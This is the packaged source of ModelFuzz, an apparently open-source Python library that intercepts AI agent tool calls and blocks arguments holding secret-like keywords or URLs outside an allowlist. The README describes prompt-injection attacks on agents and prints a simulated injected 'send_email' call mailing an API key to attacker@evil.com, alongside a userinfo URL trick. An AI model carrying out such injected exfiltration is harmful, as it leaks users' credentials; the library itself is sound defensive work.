modelfuzz 0.1.0__py3-none-any.whl

modelfuzz/__init__.py

@@ -0,0 +1,17 @@
+"""ModelFuzz: a lightweight shield for intercepting agent tool calls."""
+
+from modelfuzz.decorator import shield_tool
+from modelfuzz.engine import PolicyEngine, PolicyResult
+from modelfuzz.exceptions import ModelFuzzBlockError
+from modelfuzz.rules import SensitiveDataFilter, URLAllowList, Violation
+
+__all__ = [
+    "shield_tool",
+    "ModelFuzzBlockError",
+    "SensitiveDataFilter",
+    "URLAllowList",
+    "Violation",
+    "PolicyEngine",
+    "PolicyResult",
+]
+__version__ = "0.1.0"

modelfuzz/cli.py

@@ -0,0 +1,27 @@
+"""Command-line interface for ModelFuzz."""
+
+import typer
+
+from modelfuzz import __version__
+
+app = typer.Typer(help="Runtime guardrails for AI agents.")
+
+
+@app.callback()
+def cli() -> None:
+    """Runtime guardrails for AI agents."""
+
+
+@app.command()
+def version() -> None:
+    """Print the installed ModelFuzz version."""
+    typer.echo(__version__)
+
+
+def main() -> None:
+    """Entry point for the ``modelfuzz`` console script."""
+    app()
+
+
+if __name__ == "__main__":
+    main()

modelfuzz/decorator.py

@@ -0,0 +1,45 @@
+"""Decorators for shielding agent tool functions."""
+
+import functools
+from collections.abc import Callable
+from typing import ParamSpec, TypeVar
+
+from modelfuzz.engine import PolicyEngine
+from modelfuzz.exceptions import ModelFuzzBlockError
+from modelfuzz.rules import SensitiveDataFilter
+
+P = ParamSpec("P")
+R = TypeVar("R")
+
+# Default policy engine for the decorator
+default_policies = [SensitiveDataFilter()]
+_default_engine = PolicyEngine(default_policies)
+
+
+def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
+    """Wrap a tool function so every call is intercepted before execution.
+
+    Args:
+        engine: The policy engine to use for validation. If None, a default
+            engine with a SensitiveDataFilter is used.
+
+    Returns:
+        A decorator that wraps the function.
+    """
+    actual_engine = engine if engine is not None else _default_engine
+
+    def decorator(func: Callable[P, R]) -> Callable[P, R]:
+        @functools.wraps(func)
+        def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
+            # Check all arguments against the policy engine
+            for arg in list(args) + list(kwargs.values()):
+                result = actual_engine.run(arg)
+                if not result.allowed:
+                    raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
+
+            print(f"ModelFuzz Intercepted: {func.__name__}")
+            return func(*args, **kwargs)
+
+        return wrapper
+
+    return decorator

modelfuzz/engine.py

@@ -0,0 +1,36 @@
+"""Policy engine for ModelFuzz."""
+
+from collections.abc import Callable
+from dataclasses import dataclass
+
+from modelfuzz.rules import Violation
+
+
+@dataclass
+class PolicyResult:
+    """The result of a policy engine run."""
+
+    allowed: bool
+    reason: str | None = None
+
+
+class PolicyEngine:
+    """Runs a list of policies against a call."""
+
+    def __init__(self, policies: list[Callable[[object], Violation | None]]) -> None:
+        self.policies = policies
+
+    def run(self, call: object) -> PolicyResult:
+        """Run all policies in order. Short-circuit on first violation.
+
+        Args:
+            call: The call data to check.
+
+        Returns:
+            A PolicyResult object indicating if the call is allowed.
+        """
+        for policy in self.policies:
+            violation = policy(call)
+            if violation:
+                return PolicyResult(allowed=False, reason=violation.reason)
+        return PolicyResult(allowed=True)

modelfuzz/exceptions.py

@@ -0,0 +1,7 @@
+"""Exceptions for ModelFuzz."""
+
+
+class ModelFuzzBlockError(Exception):
+    """Raised when a tool call is blocked by ModelFuzz."""
+
+    pass

modelfuzz/rules.py

@@ -0,0 +1,108 @@
+"""Security rules for ModelFuzz."""
+
+from dataclasses import dataclass
+from urllib.parse import urlparse
+
+
+@dataclass
+class Violation:
+    """Represents a policy violation."""
+
+    rule_name: str
+    reason: str
+
+
+class URLAllowList:
+    """A policy that ensures URLs are on an allowlist and blocks parsing tricks."""
+
+    def __init__(self, allowed_domains: list[str]) -> None:
+        self.allowed_domains = allowed_domains
+
+    def __call__(self, url: str) -> Violation | None:
+        """Check if a URL is allowed.
+
+        Args:
+            url: The URL to check.
+
+        Returns:
+            A Violation object if the URL is blocked, otherwise None.
+        """
+        try:
+            parsed = urlparse(url)
+            domain = parsed.netloc
+
+            # Block userinfo tricks (e.g., http://api.internal.com@evil.com)
+            if "@" in domain:
+                return Violation(
+                    rule_name="URLAllowList",
+                    reason=f"URL contains userinfo trick: {url}",
+                )
+
+            # Extract the hostname without port
+            hostname = domain.split(":")[0]
+
+            # Check for exact match or valid subdomain
+            is_allowed = any(
+                hostname == allowed or hostname.endswith(f".{allowed}")
+                for allowed in self.allowed_domains
+            )
+
+            if not is_allowed:
+                return Violation(
+                    rule_name="URLAllowList",
+                    reason=f"URL domain not in allowlist: {hostname}",
+                )
+
+            return None
+
+        except Exception:
+            return Violation(
+                rule_name="URLAllowList",
+                reason=f"Invalid URL: {url}",
+            )
+
+
+class SensitiveDataFilter:
+    """A policy that blocks strings containing sensitive keywords."""
+
+    def __init__(self, sensitive_keywords: list[str] | None = None) -> None:
+        self.sensitive_keywords = (
+            [k.lower() for k in sensitive_keywords]
+            if sensitive_keywords
+            else ["secret", "password", "api_key"]
+        )
+
+    def __call__(self, data: object) -> Violation | None:
+        """Check if data contains sensitive keywords.
+
+        This method recurses into nested dicts, lists, and tuples.
+
+        Args:
+            data: The data to check.
+
+        Returns:
+            A Violation object if sensitive data is found, otherwise None.
+        """
+        return self._check_recursive(data)
+
+    def _check_recursive(self, data: object) -> Violation | None:
+        if isinstance(data, str):
+            lower_data = data.lower()
+            for keyword in self.sensitive_keywords:
+                if keyword in lower_data:
+                    return Violation(
+                        rule_name="SensitiveDataFilter",
+                        reason=f"String contains sensitive keyword: '{keyword}'",
+                    )
+        elif isinstance(data, dict):
+            for value in data.values():
+                violation = self._check_recursive(value)
+                if violation:
+                    return violation
+        elif isinstance(data, (list, tuple)):
+            for item in data:
+                violation = self._check_recursive(item)
+                if violation:
+                    return violation
+
+        return None

modelfuzz-0.1.0.dist-info/METADATA

@@ -0,0 +1,146 @@
+Metadata-Version: 2.4
+Name: modelfuzz
+Version: 0.1.0
+Summary: Runtime guardrails for AI agents.
+Project-URL: Homepage, https://github.com/higagan/modelfuzz
+Project-URL: Repository, https://github.com/higagan/modelfuzz
+Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
+Author-email: Gagan Deep <gagan.ping@gmail.com>
+License: MIT
+License-File: LICENSE
+Keywords: ai-agents,guardrails,llm,prompt-injection,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.10
+Requires-Dist: typer>=0.12
+Description-Content-Type: text/markdown
+
+# ModelFuzz
+
+[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
+
+**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
+
+---
+
+## The Problem
+
+LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
+
+## The Solution
+
+ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
+
+## Quickstart
+
+```python
+from modelfuzz import shield_tool
+
+@shield_tool()
+def send_email(to_address: str, subject: str, body: str) -> None:
+    smtp.send(to_address, subject, body)
+```
+
+That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
+
+Need custom policies? Build your own engine:
+
+```python
+from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
+
+engine = PolicyEngine([
+    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
+    URLAllowList(allowed_domains=["api.mycompany.com"]),
+])
+
+@shield_tool(engine=engine)
+def fetch_url(url: str) -> str:
+    ...
+```
+
+## The Demo
+
+**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
+
+Run it yourself with `uv run python demo.py`:
+
+```text
+============================================================
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
+============================================================
+
+
+============================================================
+ PART 1: THE BREACH (UNGUARDED)
+============================================================
+
+[!] UNGUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
+
+  [!] Simulating email send...
+  To: attacker@evil.com
+  Subject: Stolen Data
+  Body: The user's API_KEY is sk-12345...
+
+============================================================
+  🚨 BREACH
+============================================================
+  Data exfiltrated to attacker@evil.com
+============================================================
+
+
+============================================================
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
+============================================================
+
+[+] GUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
+
+  [+] ModelFuzz is intercepting the call...
+
+  [✓] ModelFuzz caught a violation:
+      Reason: String contains sensitive keyword: 'secret'
+
+============================================================
+  🛡️ MODELFUZZ BLOCKED
+============================================================
+  Sensitive data exfiltration stopped.
+============================================================
+```
+
+## How It Works
+
+- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
+- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
+- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
+
+## Installation
+
+```bash
+pip install modelfuzz
+```
+
+Or with [uv](https://github.com/astral-sh/uv):
+
+```bash
+uv add modelfuzz
+```
+
+## Contributing
+
+Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
+
+## License
+
+MIT — see [LICENSE](LICENSE) for details.

modelfuzz-0.1.0.dist-info/RECORD

@@ -0,0 +1,11 @@
+modelfuzz/__init__.py,sha256=jicNiTSTTZlBobtmTtUMMY4CyPRAKAaCSo_roXkXvps,487
+modelfuzz/cli.py,sha256=wQJjog4s2Py_geEVK0amJLJdoTUzdn83w2V7c_mqkec,484
+modelfuzz/decorator.py,sha256=ScLKzGZKqvzG_zhVzPrgUfAa6JQvhjA1eufVzPCj8LA,1513
+modelfuzz/engine.py,sha256=vBf6KRBhOMU5JDgjwjp0DSUhE5BwFJx21_Vk0FJsmkU,961
+modelfuzz/exceptions.py,sha256=TXPtrzcezCnM8jtPh8QmPUJutGopNQuAtZnlb9AzU84,141
+modelfuzz/rules.py,sha256=iuc21mqjDG5IwwSulGRoVIis-vs2QnOOS5B_Da_1xSE,3320
+modelfuzz-0.1.0.dist-info/METADATA,sha256=yvmPNt5-OLGuCBymLP9rYZG-bhtZhkxLrc6LONude8E,6124
+modelfuzz-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
+modelfuzz-0.1.0.dist-info/entry_points.txt,sha256=g-z7ANvPY_P7coKxceYTDF0MRQTfaBi587dHS_vUvSc,49
+modelfuzz-0.1.0.dist-info/licenses/LICENSE,sha256=FVwneC9rHn-shE8veEYAWY99e5-KnBKag76f_TOrs78,1067
+modelfuzz-0.1.0.dist-info/RECORD,,

modelfuzz-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: hatchling 1.31.0
+Root-Is-Purelib: true
+Tag: py3-none-any

modelfuzz-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+modelfuzz = modelfuzz.cli:main

modelfuzz-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Gagan Deep
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.